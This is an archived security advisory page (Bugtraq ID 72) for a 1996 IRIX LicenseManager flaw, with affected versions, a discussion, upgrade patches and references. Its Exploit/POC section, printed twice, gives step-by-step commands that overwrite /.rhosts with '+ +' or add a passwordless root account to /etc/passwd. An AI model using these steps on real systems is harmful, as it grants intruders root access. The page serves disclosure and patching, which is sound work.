IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability
BID:72
Info
IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability
| Bugtraq ID: | 72 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Unknown |
| Published: | Apr 05 1996 12:00AM |
| Updated: | Apr 05 1996 12:00AM |
| Credit: | The vulnerability was published as "LicenseManager / NetLS security bug" by Arthur Hagen <[email protected]> and as "Irix: root exploit for LicenseManager" by Yuri Volobuev <[email protected]>. |
| Vulnerable: |
SGI license_oeo 1.0 SGI IRIX 6.2 SGI IRIX 5.3 |
| Not Vulnerable: |
SGI license_oeo 3.0 SGI IRIX 6.3 SGI IRIX 6.1 SGI IRIX 6.0.1 SGI IRIX 6.0 SGI IRIX 5.2 SGI IRIX 5.1.1 SGI IRIX 5.1 SGI IRIX 5.0.1 SGI IRIX 5.0 SGI IRIX 4.0.5 IPR SGI IRIX 4.0.5 H SGI IRIX 4.0.5 G SGI IRIX 4.0.5 F SGI IRIX 4.0.5 E SGI IRIX 4.0.5 D SGI IRIX 4.0.5 A SGI IRIX 4.0.5 (IOP) SGI IRIX 4.0.5 SGI IRIX 4.0.4 T SGI IRIX 4.0.4 B SGI IRIX 4.0.4 SGI IRIX 4.0.3 SGI IRIX 4.0.2 SGI IRIX 4.0.1 T SGI IRIX 4.0.1 SGI IRIX 4.0 |
Discussion
IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability
Under normal operation LicenseManager(1M) is a program used to view and
manage FLEXlm and NetLS software licenses. Unfortunately, a set of
vulnerabilities has been discovered that allows LicenseManager(1M) to
overwrite root-owned files allowing root access.
Under normal operation LicenseManager(1M) is a program used to view and
manage FLEXlm and NetLS software licenses. Unfortunately, a set of
vulnerabilities has been discovered that allows LicenseManager(1M) to
overwrite root-owned files allowing root access.
Exploit / POC
IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability
% setenv NETLS_LICENSE_FILE /.rhosts
% /usr/etc/LicenseManager &
Install...
NetLS Node-locked
Vendor Name: whatever
Vendor ID: + +
Product name: whatever
License version: 1.000
License version:
Expiration date: 01-jan-0
(in license version field put a space)
Apply
License(s) succesfully installed
% cat /.rhosts
#:# "whatever" "whatever" "1.000" "Incomplete"
+ +
If your system has remote root logins disabled, replacing /.rhosts with
/etc/passwd and + + with toor:0:0::/:/bin/sh.
% setenv NETLS_LICENSE_FILE /.rhosts
% /usr/etc/LicenseManager &
Install...
NetLS Node-locked
Vendor Name: whatever
Vendor ID: + +
Product name: whatever
License version: 1.000
License version:
Expiration date: 01-jan-0
(in license version field put a space)
Apply
License(s) succesfully installed
% cat /.rhosts
#:# "whatever" "whatever" "1.000" "Incomplete"
+ +
If your system has remote root logins disabled, replacing /.rhosts with
/etc/passwd and + + with toor:0:0::/:/bin/sh.
Solution / Fix
IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability
Solution:
For IRIX 5.3:
Upgrade to version 3.0 of the License Tools (license_eoe).
You can obtain it from ftp://ftp.sgi.com/Security/patchLic5.3.tar.
Fir IRIX 6.2:
Upgrade to version 3.0 of the License Tools (license_eoe).
You can obtain it from ftp://ftp.sgi.com/Security/patch6.2.tar.
Solution:
For IRIX 5.3:
Upgrade to version 3.0 of the License Tools (license_eoe).
You can obtain it from ftp://ftp.sgi.com/Security/patchLic5.3.tar.
Fir IRIX 6.2:
Upgrade to version 3.0 of the License Tools (license_eoe).
You can obtain it from ftp://ftp.sgi.com/Security/patch6.2.tar.
References
IRIX LicenseManager NETLS_LICENSE_FILE Vulnerability
References:
References:
- SGI Support (Silicon Graphics Inc.)